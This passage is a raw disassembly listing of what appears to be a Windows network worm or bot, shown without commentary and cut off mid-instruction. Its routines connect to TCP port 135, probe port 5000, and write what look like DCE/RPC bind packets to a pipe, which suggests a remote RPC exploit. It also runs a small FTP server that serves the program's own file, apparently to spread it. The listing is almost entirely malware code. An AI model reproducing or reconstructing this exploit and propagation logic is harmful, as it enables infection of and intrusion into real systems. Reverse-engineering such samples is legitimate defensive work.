lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_412070 ; WriteFile push [ebp+arg_20] test eax, eax jnz short loc_40CE85 call sub_4114CA ; free pop ecx jmp short loc_40CE3F ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CDDF+9Cj call sub_4114CA ; free cmp [ebp+arg_2B], 0 pop ecx jz short loc_40CEB6 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40CDDF add esp, 2Ch jmp short loc_40CEB9 ; --------------------------------------------------------------------------- loc_40CEB6: ; CODE XREF: sub_40CDDF+B0j push 1 pop eax loc_40CEB9: ; CODE XREF: sub_40CDDF+62j ; sub_40CDDF+D5j pop edi pop esi pop ebx leave retn sub_40CDDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBE proc near ; CODE XREF: sub_40D3D6+6p ; sub_40D3D6+16p var_CEBC = byte ptr -0CEBCh var_8EBC = byte ptr -8EBCh var_7364 = byte ptr -7364h var_5364 = byte ptr -5364h var_3364 = byte ptr -3364h var_1364 = dword ptr -1364h var_A68 = byte ptr -0A68h var_A63 = byte ptr -0A63h var_A24 = byte ptr -0A24h var_5B8 = byte ptr -5B8h var_3B8 = byte ptr -3B8h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_6C = byte ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_65 = byte ptr -65h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = word ptr -5Eh var_5C = dword ptr -5Ch var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = byte ptr -4Ah var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = dword ptr -1Ch var_16 = word ptr -16h var_14 = dword ptr -14h var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 0CEBCh call sub_411540 push ebx push esi push edi xor edi, edi cmp dword_41920C, edi jz loc_40D3CE cmp dword_419214, edi jz loc_40D3CE mov esi, [ebp+arg_0] push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_5B8] push dword ptr [esi+0C2h] push 200h push eax call sub_40E2C1 add esp, 18h cmp eax, edi mov [ebp+var_4], eax jz short loc_40CF41 add esi, 42h push 2 push esi mov [ebp+arg_0], esi call sub_40D42D pop ecx cmp eax, 3 pop ecx jz short loc_40CF48 push 1 push esi call sub_40D42D pop ecx cmp eax, 3 pop ecx jz short loc_40CF48 loc_40CF41: ; CODE XREF: sub_40CEBE+5Dj xor eax, eax jmp loc_40D3D1 ; --------------------------------------------------------------------------- loc_40CF48: ; CODE XREF: sub_40CEBE+72j ; sub_40CEBE+81j push 32Bh lea eax, [ebp+var_3B8] push edi push eax call sub_4114E8 ; memset mov esi, 0DACh lea eax, [ebp+var_1364] push esi push edi push eax call sub_4114E8 ; memset push 1B58h lea eax, [ebp+var_8EBC] push edi push eax call sub_4114E8 ; memset push 0DABh lea eax, [ebp+var_1364] push 41h push eax call sub_4114E8 ; memset mov eax, [ebp+arg_4] push 5 push offset dword_416AC0 lea ebx, [eax+eax*8] mov [ebp+var_8], ebx mov eax, dword ptr (loc_416B1A+2)[ebx] mov ecx, dword ptr (loc_416B17+1)[ebx] mov [ebp+eax+var_1364], ecx lea eax, [ebp+var_A68] push eax call sub_4114D0 ; memcpy push 3Fh lea eax, [ebp+var_A63] push offset sub_416AD8 push eax call sub_4114D0 ; memcpy add esp, 48h lea eax, [ebp+var_3B8] push eax lea eax, [ebp+var_5B8] push [ebp+var_4] push eax call sub_40CDAE lea eax, [ebp+var_3B8] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_3B8] push eax lea eax, [ebp+var_A24] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_3B8] push eax call sub_4114BE ; strlen and [ebp+eax+var_A24], 0 add esp, 20h xor ecx, ecx lea eax, [ebp+var_8EBC] loc_40D02C: ; CODE XREF: sub_40CEBE+17Fj movzx dx, byte ptr [ebp+ecx+var_1364] mov [eax], dx inc ecx inc eax inc eax cmp ecx, esi jb short loc_40D02C push [ebp+arg_0] mov esi, 2000h lea eax, [ebp+var_7364] push offset dword_416B80 push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_7364] push esi push eax lea eax, [ebp+var_CEBC] push eax call sub_4117BA ; mbstowcs push offset dword_416B7C push [ebp+arg_0] call sub_411924 ; _strcmpi add esp, 24h test eax, eax jz short loc_40D0D8 push [ebp+arg_0] lea eax, [ebp+var_3364] push offset dword_416B74 push esi push eax call sub_41152E ; _snprintf push esi lea eax, [ebp+var_3364] push offset dword_416B6C push eax call sub_4117B4 ; strncat push 20h lea eax, [ebp+var_8C] push edi push eax call sub_4114E8 ; memset lea eax, [ebp+var_3364] add esp, 28h mov [ebp+var_78], eax mov eax, offset byte_4191D0 push edi push eax push eax lea eax, [ebp+var_8C] push eax call dword_41920C loc_40D0D8: ; CODE XREF: sub_40CEBE+1C1j push [ebp+arg_0] lea eax, [ebp+var_5364] push offset dword_416B74 push esi push eax call sub_41152E ; _snprintf push esi lea eax, [ebp+var_5364] push offset dword_416B60 push eax call sub_4117B4 ; strncat add esp, 1Ch lea eax, [ebp+var_5364] push edi push edi push 3 push edi push 3 push 40000000h push eax call dword_412048 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40D12A loc_40D123: ; CODE XREF: sub_40CEBE+370j xor esi, esi jmp loc_40D3BF ; --------------------------------------------------------------------------- loc_40D12A: ; CODE XREF: sub_40CEBE+263j push 48h lea eax, [ebp+var_68] push edi push eax call sub_4114E8 ; memset push 10h and [ebp+var_67], 0 pop esi mov [ebp+var_68], 5 push 1 mov [ebp+var_66], 0Bh pop eax mov [ebp+var_65], 3 mov [ebp+var_5C], eax mov [ebp+var_50], eax mov [ebp+var_4A], al mov [ebp+var_38], eax push esi lea eax, [ebp+var_48] push offset dword_416B4C push eax mov [ebp+var_64], esi mov [ebp+var_60], 48h mov [ebp+var_5E], di mov [ebp+var_58], 10B8h mov [ebp+var_56], 10B8h mov [ebp+var_54], edi mov [ebp+var_4C], di call sub_4114D0 ; memcpy push esi lea eax, [ebp+var_34] push offset dword_416B38 push eax mov [ebp+var_24], 2 call sub_4114D0 ; memcpy add esp, 24h lea eax, [ebp+var_6C] push edi push eax lea eax, [ebp+var_68] push 48h push eax push [ebp+var_4] call dword_412070 ; WriteFile test eax, eax jz short loc_40D225 lea eax, [ebp+var_CEBC] push eax call sub_4117A8 ; wcslen lea eax, [eax+eax+12h] pop ecx test al, 3 mov [ebp+arg_4], eax jz short loc_40D1D9 loc_40D1D0: ; CODE XREF: sub_40CEBE+319j inc [ebp+arg_4] test byte ptr [ebp+arg_4], 3 jnz short loc_40D1D0 loc_40D1D9: ; CODE XREF: sub_40CEBE+310j cmp byte ptr (loc_416B1F+1)[ebx], 0 push 4 pop esi jz short loc_40D1E8 add [ebp+arg_4], esi loc_40D1E8: ; CODE XREF: sub_40CEBE+325j lea eax, [ebp+var_8EBC] push eax call sub_4117A8 ; wcslen pop ecx mov ecx, [ebp+arg_4] lea eax, [ecx+eax*2+0Eh] loc_40D1FC: ; CODE XREF: sub_40CEBE+343j test al, 3 jz short loc_40D203 inc eax jmp short loc_40D1FC ; --------------------------------------------------------------------------- loc_40D203: ; CODE XREF: sub_40CEBE+340j add eax, 8 cmp byte ptr (loc_416B1F+1)[ebx], 0 jz short loc_40D213 add eax, esi jmp short loc_40D215 ; --------------------------------------------------------------------------- loc_40D213: ; CODE XREF: sub_40CEBE+34Fj inc eax inc eax loc_40D215: ; CODE XREF: sub_40CEBE+353j push eax mov [ebp+arg_4], eax call sub_4114C4 ; malloc mov ebx, eax pop ecx cmp ebx, edi jnz short loc_40D233 loc_40D225: ; CODE XREF: sub_40CEBE+2F8j push [ebp+var_4] call dword_4120AC ; CloseHandle jmp loc_40D123 ; --------------------------------------------------------------------------- loc_40D233: ; CODE XREF: sub_40CEBE+365j push [ebp+arg_4] push edi push ebx call sub_4114E8 ; memset push esi push offset dword_416AC8 push ebx call sub_4114D0 ; memcpy lea eax, [ebp+var_CEBC] push eax call sub_4117A8 ; wcslen inc eax mov [ebx+0Ch], eax mov [ebx+8], edi mov eax, [ebx+0Ch] mov [ebx+4], eax lea eax, [ebp+var_CEBC] push eax lea eax, [ebx+10h] push eax call sub_4117AE ; wcscpy lea eax, [ebp+var_CEBC] push eax call sub_4117A8 ; wcslen lea eax, [eax+eax+12h] add esp, 28h test al, 3 mov [ebp+arg_0], eax jz short loc_40D294 loc_40D28C: ; CODE XREF: sub_40CEBE+3D1j inc eax test al, 3 jnz short loc_40D28C mov [ebp+arg_0], eax loc_40D294: ; CODE XREF: sub_40CEBE+3CCj mov ecx, [ebp+var_8] cmp byte ptr (loc_416B1F+1)[ecx], 0 jz short loc_40D2B7 push esi add eax, ebx push offset dword_416AD0 push eax call sub_4114D0 ; memcpy add esp, 0Ch add [ebp+arg_0], esi mov eax, [ebp+arg_0] loc_40D2B7: ; CODE XREF: sub_40CEBE+3E0j lea esi, [eax+ebx] lea eax, [ebp+var_8EBC] push eax call sub_4117A8 ; wcslen inc eax add [ebp+arg_0], 0Ch mov [esi+8], eax mov [esi+4], edi mov eax, [esi+8] mov [esi], eax lea eax, [ebp+var_8EBC] push eax mov eax, [ebp+arg_0] add eax, ebx push eax call sub_4117AE ; wcscpy lea eax, [ebp+var_8EBC] push eax call sub_4117A8 ; wcslen mov ecx, [ebp+arg_0] add esp, 10h lea eax, [ecx+eax*2+2] test al, 3 mov [ebp+arg_0], eax jz short loc_40D30D loc_40D305: ; CODE XREF: sub_40CEBE+44Aj inc eax test al, 3 jnz short loc_40D305 mov [ebp+arg_0], eax loc_40D30D: ; CODE XREF: sub_40CEBE+445j push 8 add eax, ebx push edi push eax call sub_4114E8 ; memset mov eax, [ebp+arg_0] mov esi, [ebp+var_8] add esp, 0Ch add eax, 8 cmp byte ptr (loc_416B1F+1)[esi], 0 jz short loc_40D332 mov [eax+ebx], edi jmp short loc_40D338 ; --------------------------------------------------------------------------- loc_40D332: ; CODE XREF: sub_40CEBE+46Dj mov word ptr [eax+ebx], 1 loc_40D338: ; CODE XREF: sub_40CEBE+472j push 18h lea eax, [ebp+var_20] push edi push eax call sub_4114E8 ; memset add esp, 0Ch mov cl, byte ptr (loc_416B1F+1)[esi] and [ebp+var_1F], 0 and [ebp+var_1E], 0 push 1 mov [ebp+var_16], di pop eax mov [ebp+var_C], di push eax push 10B8h push [ebp+arg_4] lea esi, [ebp+var_20] neg cl sbb ecx, ecx push ebx and ecx, 2 sub esp, 18h add ecx, 19h mov [ebp+var_20], 5 push 6 mov [ebp+var_A], cx pop ecx mov [ebp+var_1D], 3 mov edi, esp push [ebp+var_4] mov [ebp+var_1C], 10h mov [ebp+var_14], eax rep movsd call sub_40CDDF add esp, 2Ch test eax, eax jnz short loc_40D3AA xor esi, esi jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3AA: ; CODE XREF: sub_40CEBE+4E6j push 1 pop esi loc_40D3AD: ; CODE XREF: sub_40CEBE+4EAj push [ebp+var_4] call dword_4120AC ; CloseHandle push ebx call sub_4114CA ; free pop ecx xor edi, edi loc_40D3BF: ; CODE XREF: sub_40CEBE+267j push edi push edi push [ebp+var_78] call dword_419214 mov eax, esi jmp short loc_40D3D1 ; --------------------------------------------------------------------------- loc_40D3CE: ; CODE XREF: sub_40CEBE+18j ; sub_40CEBE+24j push 1 pop eax loc_40D3D1: ; CODE XREF: sub_40CEBE+85j ; sub_40CEBE+50Ej pop edi pop esi pop ebx leave retn sub_40CEBE endp ; =============== S U B R O U T I N E ======================================= sub_40D3D6 proc near ; DATA XREF: kkrunchy:00417F5Co ; kkrunchy:00417FD0o arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40CEBE pop ecx test eax, eax pop ecx jnz short locret_40D3F3 push eax push [esp+4+arg_0] call sub_40CEBE pop ecx pop ecx locret_40D3F3: ; CODE XREF: sub_40D3D6+Fj retn sub_40D3D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3F4 proc near ; CODE XREF: sub_40D42D+131p ; sub_40D42D+15Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D422 loc_40D405: ; CODE XREF: sub_40D3F4+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41178A ; memcmp add esp, 0Ch test eax, eax jz short loc_40D428 inc esi cmp esi, edi jl short loc_40D405 loc_40D422: ; CODE XREF: sub_40D3F4+Fj xor eax, eax loc_40D424: ; CODE XREF: sub_40D3F4+37j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D428: ; CODE XREF: sub_40D3F4+27j push 1 pop eax jmp short loc_40D424 sub_40D3F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D42D proc near ; CODE XREF: sub_40BC10+19p ; sub_40CEBE+68p ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_411540 mov eax, [ebp+arg_4] push ebx push esi dec eax push edi jz short loc_40D478 dec eax jz short loc_40D44E dec eax loc_40D447: ; CODE XREF: sub_40D42D+61j xor eax, eax loc_40D449: ; CODE XREF: sub_40D42D+49j ; sub_40D42D+176j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D44E: ; CODE XREF: sub_40D42D+17j push 2710h push 0 push offset a5000 ; "5000" push [ebp+arg_0] call sub_403C04 mov esi, eax push esi call sub_403D70 mov eax, esi add esp, 14h neg eax sbb eax, eax and eax, 3 jmp short loc_40D449 ; --------------------------------------------------------------------------- loc_40D478: ; CODE XREF: sub_40D42D+14j push 6 push 1 push 2 call dword_41222C ; socket mov edi, eax or ebx, 0FFFFFFFFh cmp edi, ebx mov [ebp+arg_4], edi jz short loc_40D447 xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_4114E8 ; memset add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_412248 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_412254 ; inet_addr mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_412208 ; connect cmp eax, ebx jz loc_40D598 push esi push 48h push offset dword_416B88 push edi call dword_412220 ; send cmp eax, ebx jz loc_40D598 mov edi, 2000h push esi mov esi, dword_412258 lea eax, [ebp+var_2010] push edi push eax push [ebp+arg_4] call esi ; recv cmp eax, ebx jnz short loc_40D512 loc_40D50B: ; CODE XREF: sub_40D42D+ECj ; sub_40D42D+102j ... xor esi, esi jmp loc_40D598 ; --------------------------------------------------------------------------- loc_40D512: ; CODE XREF: sub_40D42D+DCj cmp [ebp+var_200E], 0Ch jnz short loc_40D50B push 0 push 18h push offset dword_416BD4 push [ebp+arg_4] call dword_412220 ; send cmp eax, ebx jz short loc_40D50B push 0 lea eax, [ebp+var_2010] push edi push eax push [ebp+arg_4] call esi ; recv mov esi, eax cmp esi, ebx jz short loc_40D50B cmp [ebp+var_200E], 2 jnz short loc_40D50B push 10h push offset loc_416BF0 lea eax, [ebp+var_2010] push esi push eax call sub_40D3F4 add esp, 10h test eax, eax jz short loc_40D578 xor eax, eax cmp esi, 12Ch setnl al inc eax jmp short loc_40D596 ; --------------------------------------------------------------------------- loc_40D578: ; CODE XREF: sub_40D42D+13Bj push 10h push offset dword_416C04 lea eax, [ebp+var_2010] push esi push eax call sub_40D3F4 add esp, 10h neg eax sbb eax, eax and eax, 3 loc_40D596: ; CODE XREF: sub_40D42D+149j mov esi, eax loc_40D598: ; CODE XREF: sub_40D42D+A4j ; sub_40D42D+BBj ... push [ebp+arg_4] call dword_412240 ; closesocket mov eax, esi jmp loc_40D449 sub_40D42D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D5A8 proc near ; CODE XREF: sub_40BCBD+A9p ; sub_40C135+325p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_8] xor ebx, ebx cmp esi, ebx push edi jnz short loc_40D5DD xor esi, esi cmp [ebp+arg_4], ebx jbe short loc_40D639 loc_40D5BE: ; CODE XREF: sub_40D5A8+31j push 20h push ebx call sub_40B459 mov al, byte_416C20[eax+eax*4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [esi+ecx], al inc esi cmp esi, [ebp+arg_4] jb short loc_40D5BE jmp short loc_40D639 ; --------------------------------------------------------------------------- loc_40D5DD: ; CODE XREF: sub_40D5A8+Dj cmp esi, 7Fh jnz short loc_40D608 xor esi, esi cmp [ebp+arg_4], ebx jbe short loc_40D639 loc_40D5E9: ; CODE XREF: sub_40D5A8+5Cj push 5 push ebx call sub_40B459 mov al, byte_416C20[eax+eax*4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [esi+ecx], al inc esi cmp esi, [ebp+arg_4] jb short loc_40D5E9 jmp short loc_40D639 ; --------------------------------------------------------------------------- loc_40D608: ; CODE XREF: sub_40D5A8+38j xor edi, edi cmp [ebp+arg_4], ebx jbe short loc_40D639 loc_40D60F: ; CODE XREF: sub_40D5A8+8Fj push 20h push ebx call sub_40B459 movsx eax, al pop ecx lea eax, [eax+eax*4] pop ecx test dword_416C21[eax], esi jnz short loc_40D634 mov ecx, [ebp+arg_0] mov al, byte_416C20[eax] mov [edi+ecx], al inc edi loc_40D634: ; CODE XREF: sub_40D5A8+7Dj cmp edi, [ebp+arg_4] jb short loc_40D60F loc_40D639: ; CODE XREF: sub_40D5A8+14j ; sub_40D5A8+33j ... pop edi pop esi pop ebx pop ebp retn sub_40D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D63E proc near ; CODE XREF: sub_40D6E0+40Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h push ebx push esi push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_403C04 mov ebx, eax add esp, 10h test ebx, ebx jz short loc_40D687 cmp ebx, 0FFFFFFFFh jz short loc_40D687 push offset aRb ; "rb" push offset dword_419ECC call sub_411506 ; fopen mov esi, eax pop ecx test esi, esi pop ecx jnz short loc_40D68D push ebx call sub_403D92 pop ecx loc_40D687: ; CODE XREF: sub_40D63E+24j ; sub_40D63E+29j xor eax, eax loc_40D689: ; CODE XREF: sub_40D63E+A0j pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D68D: ; CODE XREF: sub_40D63E+40j push edi loc_40D68E: ; CODE XREF: sub_40D63E+7Fj test byte ptr [esi+0Ch], 10h jnz short loc_40D6CA push esi push 200h lea eax, [ebp+var_200] push 1 push eax call sub_411510 ; fread mov edi, eax lea eax, [ebp+var_200] push edi push eax push ebx call sub_403D9D add esp, 1Ch cmp edi, eax jz short loc_40D68E push ebx call sub_403D92 pop ecx xor edi, edi jmp short loc_40D6D4 ; --------------------------------------------------------------------------- loc_40D6CA: ; CODE XREF: sub_40D63E+54j push ebx call sub_403D70 pop ecx push 1 pop edi loc_40D6D4: ; CODE XREF: sub_40D63E+8Aj push esi call sub_411500 ; fclose pop ecx mov eax, edi pop edi jmp short loc_40D689 sub_40D63E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6E0 proc near ; DATA XREF: sub_40DD36+CBo var_530 = byte ptr -530h var_330 = byte ptr -330h var_32F = byte ptr -32Fh var_230 = byte ptr -230h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 530h push ebx push esi push edi mov esi, 200h push offset dword_4177D0 lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen mov ebx, [ebp+arg_0] push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D mov dl, byte_4191D0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_32F] mov [ebp+var_330], dl rep stosd stosw stosb xor eax, eax lea edi, [ebp+var_13] mov [ebp+var_14], dl push 0EA60h stosd stosb xor eax, eax push ebx mov [ebp+arg_0], eax mov [ebp+var_18], eax mov [ebp+var_C], eax call sub_403E1F add esp, 24h loc_40D75F: ; CODE XREF: sub_40D6E0+3C2j test eax, eax jz loc_40DB99 lea eax, [ebp+var_530] push esi push eax push ebx call sub_403DB2 add esp, 0Ch test eax, eax jz loc_40DB99 cmp eax, 0FFFFFFFFh jz loc_40DB99 lea eax, [ebp+var_C] mov edi, offset dword_4177CC push eax lea eax, [ebp+var_530] push edi push eax call sub_405E4F add esp, 0Ch mov [ebp+var_8], eax test eax, eax jz loc_40DA95 lea eax, [ebp+var_C] push eax push edi push 0 call sub_405E4F add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_40D7CA mov [ebp+var_4], offset byte_4191D0 loc_40D7CA: ; CODE XREF: sub_40D6E0+E1j lea eax, [ebp+var_C] push eax push edi push 0 call sub_405E4F push [ebp+var_8] call sub_40A64A add esp, 10h cmp eax, dword_4177C0 jnz short loc_40D7FA mov [ebp+arg_0], 1 push offset dword_4177B8 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D7FA: ; CODE XREF: sub_40D6E0+107j cmp eax, dword_4177AC jnz short loc_40D813 mov [ebp+var_18], 1 push offset dword_4177A4 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D813: ; CODE XREF: sub_40D6E0+120j cmp [ebp+arg_0], 0 jz loc_40DA95 cmp [ebp+var_18], 0 jz loc_40DA95 cmp eax, dword_417798 jnz short loc_40D839 push offset dword_417790 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D839: ; CODE XREF: sub_40D6E0+14Dj cmp eax, dword_417784 jnz short loc_40D84B push offset dword_41777C jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D84B: ; CODE XREF: sub_40D6E0+15Fj cmp eax, dword_417774 jnz short loc_40D85D push offset dword_417768 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D85D: ; CODE XREF: sub_40D6E0+171j cmp eax, dword_41775C jz loc_40D8F4 cmp eax, dword_417750 jnz short loc_40D87B push offset dword_417748 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D6E0+18Fj cmp eax, dword_41773C jnz short loc_40D8FE lea eax, [ebp+var_20] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_28] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_4] call sub_411522 ; sscanf movzx eax, [ebp+var_30] add esp, 20h push eax movzx eax, [ebp+var_24] push eax movzx eax, [ebp+var_1C] push eax movzx eax, [ebp+var_28] push eax push offset dword_413A58 lea eax, [ebp+var_330] push 100h push eax call sub_41152E ; _snprintf xor eax, eax add esp, 1Ch mov ah, [ebp+var_2C] mov al, [ebp+var_20] push eax push offset aU_0 ; "%u" lea eax, [ebp+var_14] push 6 push eax call sub_41152E ; _snprintf add esp, 10h loc_40D8F4: ; CODE XREF: sub_40D6E0+183j push offset dword_417720 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D8FE: ; CODE XREF: sub_40D6E0+1A1j cmp eax, dword_417714 jnz short loc_40D97E push offset aRb ; "rb" push offset dword_419ECC call sub_411506 ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz loc_40DB99 push 2 push 0 push edi call sub_411516 ; fseek push edi call sub_4114F4 ; ftell push 0 push 0 push edi mov [ebp+var_8], eax call sub_411516 ; fseek push edi call sub_411500 ; fclose add esp, 20h lea eax, [ebp+var_230] push [ebp+var_8] push offset dword_417708 push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D add esp, 20h jmp loc_40DA95 ; --------------------------------------------------------------------------- loc_40D97E: ; CODE XREF: sub_40D6E0+224j cmp eax, dword_4176FC jnz loc_40DAA7 push offset a150 ; "150 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D push 2710h lea eax, [ebp+var_14] push 0 push eax lea eax, [ebp+var_330] push eax call sub_403C04 add esp, 2Ch mov [ebp+var_4], eax test eax, eax jz loc_40DB99 cmp eax, 0FFFFFFFFh jz loc_40DB99 push offset aRb ; "rb" push offset dword_419ECC call sub_411506 ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz loc_40DB99 push 2 push 0 push edi call sub_411516 ; fseek push edi call sub_4114F4 ; ftell push 0 push 0 push edi mov [ebp+var_8], eax call sub_411516 ; fseek push edi call sub_411500 ; fclose add esp, 20h lea eax, [ebp+var_230] push offset dword_419ECC push [ebp+var_8] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push [ebp+var_4] call sub_403D9D push [ebp+var_4] call sub_403D70 add esp, 28h push offset dword_417678 loc_40DA6B: ; CODE XREF: sub_40D6E0+115j ; sub_40D6E0+12Ej ... lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D add esp, 1Ch loc_40DA95: ; CODE XREF: sub_40D6E0+C7j ; sub_40D6E0+137j ... push 0EA60h push ebx call sub_403E1F pop ecx pop ecx jmp loc_40D75F ; --------------------------------------------------------------------------- loc_40DAA7: ; CODE XREF: sub_40D6E0+2A4j cmp eax, dword_41766C jnz loc_40DB62 push offset a150 ; "150 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D lea eax, [ebp+var_14] push eax lea eax, [ebp+var_330] push eax call sub_40D63E add esp, 24h test eax, eax jz loc_40DB99 push offset dword_417678 lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D push 1 push offset dword_419EA8 call sub_407216 add esp, 24h lea ecx, [ebp+var_330] inc eax push ecx push eax push offset aFtp_0 ; "ftp" push offset unk_417640 push offset dword_418E50 call sub_409659 add esp, 14h push 3E8h call dword_4120A4 ; Sleep jmp short loc_40DB99 ; --------------------------------------------------------------------------- loc_40DB62: ; CODE XREF: sub_40D6E0+3CDj cmp eax, dword_417634 jnz short loc_40DB99 push offset a221 ; "221 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D add esp, 1Ch loc_40DB99: ; CODE XREF: sub_40D6E0+81j ; sub_40D6E0+9Aj ... push offset a231 ; "231 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D push ebx call sub_403D70 add esp, 20h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40D6E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DBD7 proc near ; CODE XREF: sub_40DD36+58p var_20C = dword ptr -20Ch var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push esi push edi mov edi, [ebp+arg_0] push 32h push edi call sub_403E1F pop ecx test eax, eax pop ecx jz loc_40DD30 mov esi, 200h lea eax, [ebp+var_200] push esi push eax push edi call sub_403DB2 add esp, 0Ch test eax, eax jz loc_40DD30 cmp eax, 0FFFFFFFFh jz loc_40DD30 lea eax, [ebp+var_200] push eax call sub_405AB9 lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4177F8 push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz loc_40DD30 lea eax, [ebp+var_200] push offset dword_4177EC push eax call sub_4114DC ; sprintf lea eax, [ebp+var_200] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_200] push eax push edi call sub_403D9D push 